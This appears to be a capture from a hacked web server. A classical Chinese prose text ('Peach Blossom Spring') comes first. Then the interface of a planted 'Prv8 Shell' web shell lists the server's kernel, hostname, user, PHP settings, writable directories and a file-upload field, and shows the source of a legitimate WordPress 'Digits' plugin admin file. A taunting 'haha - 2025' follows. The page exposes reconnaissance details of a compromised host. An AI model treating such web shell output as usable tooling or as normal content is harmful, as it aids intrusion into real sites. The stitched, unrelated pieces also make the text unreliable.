晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/shortcodes.php
<?php

if (!defined('ABSPATH')) {
    exit;
}

function digit_shortcodes($showbuttons = true)
{

    ?>
    <div class="dig_admin_head"><span><?php esc_attr_e('Shortcodes', 'digits'); ?></span></div>

 <div class="dig_admin_tab_grid">
        <div class="dig_admin_tab_grid_elem">
    <?php


    $shortcodes = array(
        array('heading' => __("Digits Native Form", "digits")),
        array('label' => __("Login/Signup Form", "digits"), 'value' => 'df-form'),
        array('label' => __("Login Form", "digits"), 'value' => 'df-form-login'),
        array('label' => __("Signup Form", "digits"), 'value' => 'df-form-signup'),
        array('label' => __("Forgot Password Form", "digits"), 'value' => 'df-form-forgot-password'),
        array('label' => __("Edit Phone Number", "digits"), 'value' => 'df-edit-phone'),

        array('heading' => __("Account Security", "digits")),

        array('label' => __("Account Security Dashboard", "digits"), 'value' => 'df-account-manage'),

        array('label' => __("2FA App (Google Auth, Authy, etc) Setup", "digits"), 'value' => 'df-totp-setup'),
        array('label' => __("Biometrics & Security Key Devices Setup", "digits"), 'value' => 'df-biometrics-setup'),
        array('label' => __("2-Factor Authentication Setup", "digits"), 'value' => 'df-2fa-setup'),
        array('label' => __("3-Factor Authentication Setup", "digits"), 'value' => 'df-3fa-setup'),

        array('heading' => __("Menu Items", "digits")),

        array('label' => __("Login/Signup Page", "digits"), 'value' => 'dm-page'),
        array('label' => __("Login/Signup Modal", "digits"), 'value' => 'dm-modal'),
        array('label' => __("Login Page", "digits"), 'value' => 'dm-login-page'),
        array('label' => __("Login Modal", "digits"), 'value' => 'dm-login-modal'),

        array('label' => __("Sign Up Page", "digits"), 'value' => 'dm-signup-page'),
        array('label' => __("Sign Up Modal", "digits"), 'value' => 'dm-signup-modal'),

        array('label' => __("Forgot Password Page", "digits"), 'value' => 'dm-forgot-password-page'),
        array('label' => __("Forgot Password Modal", "digits"), 'value' => 'dm-forgot-password-modal'),

        array('label' => __("Logout", "digits"), 'value' => 'dm-logout'),

    );

    $i = 0;
    ?>
    <?php
    foreach ($shortcodes as $key => $shortcode) {
        $i++;
        if (isset($shortcode['heading'])) {
            if ($i > 1) {
                echo '</table></div>';
            }
            ?>
                <div class="dig_admin_section">
            <div class="dig_admin_sec_head"><span><?php echo $shortcode['heading']; ?></span></div>
            <?php
            echo '<table class="form-table">';
        } else {
            $id = 'digits_' . $shortcode['value'] . '_short';
            ?>
            <tr>
                <th scope="row"><label
                            for="<?php echo esc_attr($id); ?>"><?php echo $shortcode['label']; ?> </label>
                </th>
                <td>
                    <div class="digits_shortcode_tbs">
                        <input type="text" id="<?php echo esc_attr($id); ?>"
                               value="[<?php echo esc_attr($shortcode['value']) ?>]"
                               readonly/>
                        <img class="dig_copy_shortcode" alt="<?php _e('Copy', "digits"); ?>"
                             src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' fill='none' stroke='%2326263A' stroke-width='2' stroke-linecap='round' stroke-linejoin='round' class='feather feather-copy'%3E%3Crect x='9' y='9' width='13' height='13' rx='2' ry='2'%3E%3C/rect%3E%3Cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1'%3E%3C/path%3E%3C/svg%3E">
                    </div>
                </td>
            </tr>
            <?php
        }
    }
    echo '</table></div>';
    ?>

</div></div>
    <?php
    if ($showbuttons) {
        ?>
        <p class="digits-setup-action step">
            <a href="<?php echo admin_url('index.php?page=digits-setup&step=ready'); ?>"
               class="button-primary button button-large button-next"><?php _e("Continue", "digits"); ?></a>
            <a href="<?php echo admin_url('index.php?page=digits-setup&step=apisettings'); ?>"
               class="button"><?php _e("Back", "digits"); ?></a>
        </p>
        <?php
    }
}

function digit_shortcodes_translations()
{

    $dig_replace_otp_word = get_option('dig_replace_otp_word', '');
    ?>

    <div class="dig_admin_head"><span><?php _e('Translations', 'digits'); ?></span></div>

    <div class="dig_admin_tab_grid">
        <div class="dig_admin_tab_grid_elem">
            <div>
                <table class="form-table">
                    <tr>
                        <th scope="row"><label
                                    for="dig_replace_otp_word"><?php esc_attr_e('Replace "OTP" everywhere', "digits"); ?> </label>
                        </th>
                        <td>
                            <input type="text" id="dig_replace_otp_word" name="dig_replace_otp_word"
                                   class="regular-text"
                                   value="<?php echo $dig_replace_otp_word; ?>"/>
                        </td>
                    </tr>
                </table>
            </div>
            <br /><br />

            <div class="dig_admin_sec_head">
                <span><?php _e('Menu items', 'digits'); ?></span>
            </div>
            <?php

            $diglogintrans = get_option("diglogintrans", __("Login / Register", "digits"));
            $digregistertrans = get_option("digregistertrans", __("Register", "digits"));
            $digforgottrans = get_option("digforgottrans", __("Forgot your Password?", "digits"));
            $digmyaccounttrans = get_option("digmyaccounttrans", __("My Account", "digits"));
            $diglogouttrans = get_option("diglogouttrans", __("Logout", "digits"));

            $digonlylogintrans = get_option("digonlylogintrans", __("Login", "digits"));
            ?>
            <table class="form-table">
                <tr>
                    <th scope="row"><label for="diglogintrans"><?php _e("Login / Register", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="diglogintrans" name="diglogintrans" class="regular-text"
                               value="<?php echo $diglogintrans; ?>" required/>
                    </td>
                </tr>

                <tr>
                    <th scope="row"><label for="digonlylogintrans"><?php _e("Login", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="digonlylogintrans" name="digonlylogintrans" class="regular-text"
                               value="<?php echo $digonlylogintrans; ?>" required/>
                    </td>
                </tr>

                <tr>
                    <th scope="row"><label for="digregistertrans"><?php _e("Register", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="digregistertrans" name="digregistertrans" class="regular-text"
                               value="<?php echo $digregistertrans; ?>" required/>
                    </td>
                </tr>


                <tr>
                    <th scope="row"><label for="digforgottrans"><?php _e("Forgot", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="digforgottrans" name="digforgottrans" class="regular-text"
                               value="<?php echo $digforgottrans; ?>" required/>
                    </td>
                </tr>

                <tr>
                    <th scope="row"><label for="digmyaccounttrans"><?php _e("My Account", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="digmyaccounttrans" name="digmyaccounttrans" class="regular-text"
                               value="<?php echo $digmyaccounttrans; ?>" required/>
                    </td>
                </tr>

                <tr>
                    <th scope="row"><label for="diglogouttrans"><?php _e("Logout", "digits"); ?> </label></th>
                    <td>
                        <input type="text" id="diglogouttrans" name="diglogouttrans" class="regular-text"
                               value="<?php echo $diglogouttrans; ?>" required/>
                    </td>
                </tr>


            </table>
        </div>
        <div class="dig_admin_tab_grid_elem dig_admin_tab_grid_sec">
            <?php
            $link = 'https://help.unitedover.com/digits/kb/plugin-text-translation/';

            $text = __('Translation of whole plugin can be done through POT file present in the plugin languages folder. You\'ll need to upload .MO and .PO files to the languages folder of this plugin. The easiest way to translate is to use <i>Loco Translate</i> WordPress plugin.', 'digits');
            $text .= '<a href="' . esc_attr($link) . '" target="_blank"> ' . __('Need More Help?', 'digits') . '</a>';
            digits_settings_show_hint($text);

            ?>

        </div>
    </div>
    <?php
}

haha - 2025